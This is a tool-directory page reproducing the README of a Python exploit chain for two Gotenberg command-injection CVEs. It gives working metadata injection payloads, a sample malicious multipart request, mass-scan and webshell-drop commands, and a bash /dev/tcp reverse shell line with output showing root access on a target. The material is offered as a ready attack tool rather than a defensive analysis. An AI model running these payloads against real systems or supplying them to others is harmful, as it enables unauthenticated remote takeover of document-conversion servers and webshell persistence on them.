Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
-GOTENBERG-RCE-CHAIN β€” Python exploit chain for Gotenberg CVE-2026-42589 and CVE-2026-40281: detects vulnerable instances, injects metadata payloads, and drops reverse shells or webshells. | Kitploit
Tools/GitHubGitHub/hackfutsecroot/-gotenberg-rce-chain
ReconnaissanceVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingCommand and Control
Share
Remote Access Tool
GitHubhackfutsecroot/-gotenberg-rce-chain

-GOTENBERG-RCE-CHAIN

Python exploit chain for Gotenberg CVE-2026-42589 and CVE-2026-40281: detects vulnerable instances, injects metadata payloads, and drops reverse shells or webshells.

View RepositoryWebsite
21 month agoNot yet reviewed

πŸ”₯ GOTENBERG RCE CHAIN

CVE-2026-42589 + CVE-2026-40281

Python License CVE CVE CVSS

Interactive Shell

Gotenberg ≀ 8.30.1 β€” Unauthenticated Remote Code Execution

Chained exploit with reverse shell + File Manager webshell + interactive blind-safe mode


πŸ“‹ Table of Contents

  • Overview
  • Vulnerabilities
  • Features
  • Installation
  • Usage
  • Screenshots
  • How It Works
  • Detection Dorks
  • FAQ
  • Contact
  • Disclaimer

🎯 Overview

Gotenberg is a stateless Docker-powered API that converts documents (HTML, Markdown, Office...) into PDF. Versions ≀ 8.30.1 are vulnerable to two critical unauthenticated RCE vulnerabilities at the /forms/pdfengines/metadata/write endpoint.

This repository ships two tools that chain both CVEs into a single exploitation workflow:

ToolPurpose
gotenberg_rce.pyDetection + interactive shell + File Manager webshell drop
auto_revshell.pyAuto-detect IP β†’ start listener β†’ fire reverse shell payloads β†’ interactive session

πŸ› Vulnerabilities

CVE-2026-42589 β€” Metadata Key Injection

FieldValue
TypeOS Command Injection (RCE)
CVSS9.8 β€” Critical
VectorPOST /forms/pdfengines/metadata/write
InjectionJSON metadata keys
Root Causesystem() via ExifTool config

CVE-2026-40281 β€” Metadata Value Injection (Perl)

FieldValue
TypeOS Command Injection (RCE)
CVSS10.0 β€” Critical
VectorPOST /forms/pdfengines/metadata/write
InjectionJSON metadata values
Root Causeqx() (Perl) via ExifTool

Affected Versions

Version4258940281
< 8.29.1βœ…βœ…
8.29.1βœ…βœ…
8.30.0βœ…βœ…
8.30.1βœ…βœ…
β‰₯ 8.31.0❌❌

✨ Features

  • πŸ” Reliable detection β€” direct (marker) + blind (timing + HTTP 500)
  • 🎯 Dual-CVE exploitation β€” tries both 40281 and 42589
  • 🐚 Auto reverse shell β€” 7 payload fallbacks (bash, python, nc, perl, mkfifo)
  • πŸ“‘ Auto IP detection β€” 4 public APIs in fallback order
  • πŸ•ΈοΈ File Manager webshell β€” dark-theme PHP web UI (upload / browse / exec / delete)
  • πŸ–₯️ Interactive shell β€” with meta-commands (!upload, !shell, !check, !clear)
  • 🧡 Multi-threaded β€” mass scanning support
  • πŸ›‘οΈ Blind-safe β€” works even when the target returns HTTP 500
  • 🎨 Colored output β€” clean, readable logging

πŸ“¦ Installation

Requirements

  • Python 3.8+
  • requests, urllib3

Setup

git clone https://github.com/HackfutSecRoot/-GOTENBERG-RCE-CHAIN.git
cd -GOTENBERG-RCE-CHAIN

python3 -m venv venv
source venv/bin/activate     # Linux/Mac
# venv\Scripts\activate      # Windows

pip install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

πŸš€ Usage

🐚 Auto Reverse Shell (auto_revshell.py)

python auto_revshell.py -u http://target:3000

Auto-detect your public IP β†’ bind listener β†’ exploit target β†’ drop you into a shell.

Manual IP

  python gotenberg_rce.py -u http://target:3000                    # check only
  python gotenberg_rce.py -u http://target:3000 -i                 # interactive (blind)
  python gotenberg_rce.py -u http://target:3000 --rev              # auto reverse shell (auto IP)
  python gotenberg_rce.py -u http://target:3000 --rev --lport 4444 # auto with custom port
  python gotenberg_rce.py -u http://target:3000 --rev --lhost 1.2.3.4 --lport 4444
  python gotenberg_rce.py -f targets.txt --rev --lport 4444 -t 20 -o results.txt

Options

FlagDescriptionDefault
-u, --urlTarget URL (required)β€”
--lhostYour public IPauto-detected
--lportListener port4444
--waitSeconds to wait for callback25
--timeoutPer-request timeout60
--no-bannerSkip bannerfalse

πŸ–₯️ Interactive Shell (gotenberg_rce.py)

python gotenberg_rce.py -u http://target:3000 -i

Drops you into an interactive pseudo-shell:

rOOt@HFT:~$ id
uid=0(root) gid=0(root) groups=0(root)

rOOt@HFT:~$ uname -a
Linux gotenberg 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 x86_64 GNU/Linux

rOOt@HFT:~$ !shell
[*] Shell URL: http://target:3000/var/www/html/fm_abc123.php

rOOt@HFT:~$ exit
[*] Exiting interactive shell.

Commands

FlagDescription
-u, --urlSingle target
-f, --fileFile with targets (one per line)
-t, --threadsThreads for mass scan
--check-onlyOnly detect, no exploitation
--shellDrop File Manager webshell
-i, --interactiveEnter interactive shell
-o, --outputSave results

Meta-commands (inside interactive shell)

CommandAction
help, ?Show help
exit, quit, qQuit
!uploadRe-deploy File Manager shell
!shellShow shell URL
!checkRe-check vulnerability
!clearClear screen

πŸ“‘ Mass Scan + Webshell

python gotenberg_rce.py -f targets.txt --shell -t 20 -o results.txt

targets.txt:

# one URL per line
http://1.2.3.4:3000
https://gotenberg.internal:3000
http://5.6.7.8:3000

πŸ“Έ Screenshots

Interactive shell

Reverse Shell

[*] Detecting public IP...
[+] Public IP: 1.2.3.4
[+] Listener bound on 0.0.0.0:4444

[*] Sending reverse shell to 1.2.3.4:4444...
    [1/7] bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'...

[+] CALLBACK RECEIVED from 134.199.148.233
[*] Entering interactive shell. Type 'exit' to quit.

# id
uid=0(root) gid=0(root) groups=0(root)
# hostname
gotenberg

πŸ”¬ How It Works

1. Detection

The tool sends a controlled payload to /forms/pdfengines/metadata/write:

POST /forms/pdfengines/metadata/write HTTP/1.1
Content-Type: multipart/form-data; boundary=...

--BOUNDARY
Content-Disposition: form-data; name="files"; filename="test.pdf"
Content-Type: application/pdf

%PDF-1.4
...
--BOUNDARY
Content-Disposition: form-data; name="metadata"

{"Title":"test\n-Title<${PDFVersion;$_=qx("echo MARKER")}>"}
--BOUNDARY--

Signals analyzed:

ResponseMeaning
HTTP 200 + markerDirect RCE
HTTP 500 + long delayBlind RCE
HTTP 400Patched or invalid payload
HTTP 404Not Gotenberg

2. Exploitation

Two injection vectors are tried:

CVE-2026-40281 β€” Perl injection in metadata keys:

{"Title\n-Title<${PDFVersion;$_=qx("CMD")}>": "x"}

CVE-2026-42589 β€” system() injection in metadata values:

{"Title\n-if\nsystem('CMD')||1\n-Comment": "x"}

3. Output Extraction

Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools β†’